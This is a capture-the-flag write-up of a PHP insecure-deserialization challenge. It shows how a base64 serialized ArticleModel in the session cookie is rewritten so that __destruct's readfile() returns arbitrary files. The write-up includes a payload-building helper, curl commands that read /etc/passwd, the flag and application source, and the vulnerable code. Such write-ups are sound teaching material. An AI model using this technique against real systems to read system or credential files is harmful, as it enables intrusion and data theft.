Flash CTF - Not PHP2Shell

Not PHP2Shell Writeup

Overview

The target is an internal knowledgebase about PHP2Shell, the paired PHP remote code execution flaws CVE-2026-109618 and CVE-2026-109619. The site makes a point of attesting that its own runtime is patched, and that attestation is accurate. The way in is the knowledgebase application itself, which keeps the open article in its session cookie as a serialized PHP object. Rewriting that object gives us an arbitrary file read as the web user, and the flag file sits outside the web root where no URL reaches it.

Solution

The site is a security advisory knowledgebase. Seven articles about PHP2Shell, a severity banner, and a panel in the sidebar claiming this deployment is not exposed, with the live runtime version and three hardening directives listed.

The first instinct is to test that claim, so let's start there.

$ curl -sI http://<host>:1337/
HTTP/1.1 200 OK
Server: nginx

No X-Powered-By, which lines up with the expose_php row in the panel. The panel reports PHP 8.5.12, which is the fixed release for the 8.5 branch, with session.upload_progress.enabled at 0. The advertised bugs really are closed. Whatever we are going to find here, the PHP runtime is not it.

So we look at the application instead, starting with what it hands us.

$ curl -sI http://<host>:1337/ | grep -i set-cookie
Set-Cookie: PHPSESSID=TzoxMjoiQXJ0aWNsZU1vZGVsIjoyOntzOjQ6ImZpbGUiO3M6MjQ6Ii93d3cvcGFnZXMvb3ZlcnZpZXcuaHRtbCI7czo0OiJzbHVnIjtzOjg6Im92ZXJ2aWV3Ijt9; expires=Wed, 28 Oct 2026 23:37:49 GMT; Max-Age=86400; path=/

A session identifier is supposed to be opaque and random. That value is neither. It is far too long, it repeats recognisable patterns, and it is sitting there in base64.

$ echo 'TzoxMjoiQXJ0aWNsZU1vZGVsIjoyOntzOjQ6ImZpbGUiO3M6MjQ6Ii93d3cvcGFnZXMvb3ZlcnZpZXcuaHRtbCI7czo0OiJzbHVnIjtzOjg6Im92ZXJ2aWV3Ijt9' | base64 -d
O:12:"ArticleModel":2:{s:4:"file";s:24:"/www/pages/overview.html";s:4:"slug";s:8:"overview";}

This is a serialized PHP object, and the site is storing an absolute filesystem path in a cookie we control. Clicking through to another article rewrites the cookie with that article's path, so the cookie is how the app remembers which page we are reading.

The format is readable once you know the shape. O:12:"ArticleModel":2: is an object whose class name is 12 characters long and which carries 2 properties. Each property is a key and a value, and s:4:"file" is a 4 byte string named file. The lengths are counted in bytes and they have to be right, or unserialize() rejects the whole thing.

If the app passes this cookie to unserialize(), we pick the path. Let's build payloads with a small helper so we do not have to count characters by hand.

serializePayload() { python3 -c 'import base64,sys;p=sys.argv[1];print(base64.b64encode(("O:12:\"ArticleModel\":1:{s:4:\"file\";s:%d:\"%s\";}"%(len(p.encode()),p)).encode()).decode())' "$1"; }

We drop the slug property and declare one property instead of two, since all we care about is file.

$ curl -s http://<host>:1337/ -H "Cookie: PHPSESSID=$(serializePayload /etc/passwd)"
...
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

/etc/passwd comes back in the middle of the page, where the article body belongs. We have an arbitrary file read as the web user.

The obvious path is worth trying before anything clever.

$ curl -s http://<host>:1337/ -H "Cookie: PHPSESSID=$(serializePayload /flag.txt)"
...
SkillBit{p4tch3d_php_bu7_wh4t_4b0u7_th3_c0d3}
...

No URL serves that file. It sits outside the web root, so nothing we could have requested would have reached it. It comes back because the read happens inside PHP, against the filesystem, on a path we chose.

That is worth understanding properly, and we can read the application out of itself to do it. readfile() does not execute PHP, it just streams bytes, so the source comes back as text.

$ curl -s http://<host>:1337/ -H "Cookie: PHPSESSID=$(serializePayload /www/index.php)"

Two lines in that output explain it:‍

spl_autoload_register(function ($name) {
    if (preg_match('/Model$/', $name)) {
        ...

        return unserialize(base64_decode($_COOKIE['PHPSESSID']));

‍
The cookie does go straight into unserialize(), and the autoloader tells us where the class lives, so we can read the gadget itself.

$ curl -s http://<host>:1337/ -H "Cookie: PHPSESSID=$(serializePayload /www/models/ArticleModel.php)"

class ArticleModel
{
    public $file;
    public $slug;

    public function __destruct()
    {
        readfile($this->file);
    }
}

‍That is the entire bug. __destruct() runs automatically when PHP releases the object at the end of the request, and it calls readfile() on a property we supply. No method on the object is ever called deliberately. Handing unserialize() an object is enough.

The runtime was patched against the CVEs the site documents, every mitigation on its own checklist was applied, and none of it mattered. The knowledgebase read a file off its own disk for us because it deserialized a cookie.

‍

Trust our customers

Interested in joining our team? Let’s connect!